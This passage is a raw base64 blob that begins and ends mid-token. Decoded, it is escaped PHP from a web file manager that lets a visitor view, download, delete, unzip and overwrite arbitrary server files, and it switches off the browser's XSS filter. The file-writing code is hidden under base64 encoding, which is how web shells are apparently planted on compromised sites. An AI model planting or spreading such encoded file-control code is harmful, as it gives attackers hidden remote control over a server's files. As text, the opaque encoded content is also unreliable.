Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3B